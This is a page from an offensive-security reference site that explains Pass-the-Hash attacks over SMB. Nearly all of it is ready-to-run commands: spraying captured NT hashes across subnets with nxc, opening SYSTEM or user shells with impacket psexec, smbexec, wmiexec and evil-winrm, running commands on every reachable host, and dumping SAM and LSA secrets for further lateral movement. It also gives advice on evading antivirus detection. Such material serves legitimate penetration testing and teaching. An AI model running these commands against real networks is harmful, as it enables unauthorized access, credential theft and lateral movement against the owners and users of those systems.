# Pass-the-Hash over SMB – Shell Without a Password

> Exploit NTLM authentication weaknesses by replaying captured password hashes over SMB to gain remote shell access without cracking credentials.

- **URL:** https://hackindex.io/services/smb/exploitation/pass-the-hash
- **Path:** SMB > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/smb/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-08-11

NTLM authentication accepts the NT hash directly without requiring the plaintext password. If you have an NT hash from secretsdump, Mimikatz, or any credential dump, you can authenticate to SMB as that user on any host where their account has access. No cracking needed.

The hash format used throughout is `LM:NT`. The LM portion is always either blank or `aad3b435b51404eeaad3b435b51404ee`: only the NT hash matters.

Pass-the-Hash works against local accounts and domain accounts. It does not work against accounts protected by Kerberos-only authentication or where the target enforces RestrictedAdmin mode.

## Checking Access Before Executing

Verify which hosts the hash gives you local admin on before running execution tools:

```bash
nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH --local-auth
```

Remove `--local-auth` for domain accounts:

```bash
nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH -d $DOMAIN
```

Output shows `(Pwn3d!)` next to any host where the account has local admin. Those are your execution targets.

## Remote Shell with psexec

`impacket-psexec` creates a service on the target and drops a shell. It runs as SYSTEM:

```bash
impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
```

For local accounts use the hostname or `.` as domain:

```bash
impacket-psexec ./$USER@$TARGET_IP -hashes :$NTHASH
```

psexec writes a binary to the target's ADMIN$ share and creates a service: it is noisy and often caught by AV. Prefer smbexec or wmiexec in environments where detection matters.

## Remote Shell with smbexec

`impacket-smbexec` runs commands via a temporary service without dropping a binary to disk. Output is via a shared pipe. Slightly stealthier than psexec:

```bash
impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
```

## Remote Shell with wmiexec

`impacket-wmiexec` executes commands over WMI via SMB named pipes. Does not create services or touch ADMIN$. Output is read from a temporary share:

```bash
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
```

wmiexec is the most opsec-aware of the three. Use it by default unless you need SYSTEM (psexec/smbexec run as SYSTEM, wmiexec runs as the user).

## Remote Shell with evil-winrm

If WinRM (port 5985) is open and the account has access, evil-winrm accepts NT hashes directly:

```bash
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH
```

For domain accounts:

```bash
evil-winrm -i $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN
```

evil-winrm gives a full PowerShell session. It is the cleanest option when WinRM is available: see [Evil-WinRM](https://hackindex.io/services/winrm/exploitation/evil-winrm) for full usage. For RDP pass-the-hash, see [RDP Pass-the-Hash](https://hackindex.io/services/rdp/exploitation/pass-the-hash). For the full AD lateral movement context, see [Pass the Hash and Pass the Ticket](https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-hash-and-pass-the-ticket).

## Hash Spray with nxc

To execute a command across all reachable hosts with the hash:

```bash
nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH -d $DOMAIN -x "whoami"
```

For PowerShell commands:

```bash
nxc smb $TARGET_SUBNET/24 -u $USER -H $NTHASH -d $DOMAIN -X "Get-LocalGroupMember Administrators"
```

## Dumping SAM and LSA with the Hash

Once you have admin access via hash, dump local credentials from the target for further lateral movement:

```bash
impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
```

Or with nxc:

```bash
nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN --sam
nxc smb $TARGET_IP -u $USER -H $NTHASH -d $DOMAIN --lsa
```

Common sources of NT hashes for Pass-the-Hash:

- SAM database dumps via secretsdump or Mimikatz
- LSA secrets containing cached domain credentials
- NTDS.dit extraction from domain controllers
- NTLMv2 hashes cracked from Responder captures
- LSASS memory dumps from compromised hosts

## Local Administrator Hash Reuse

If the target has a non-unique local administrator password (common before LAPS deployment), the same hash will authenticate to every host in the environment as the local admin. Check this by spraying the hash with `--local-auth` across the subnet: any `(Pwn3d!)` response is a hit.

This is one of the highest-value lateral movement chains in flat networks: compromise one host, dump the local admin hash, spray it across the network.

## References

- [Impacket](https://github.com/fortra/impacket) - Fortra psexec.py, smbexec.py, wmiexec.py, and secretsdump.py documentation.
- [evil-winrm](https://github.com/Hackplayers/evil-winrm) - WinRM shell with hash, certificate, and Kerberos authentication support.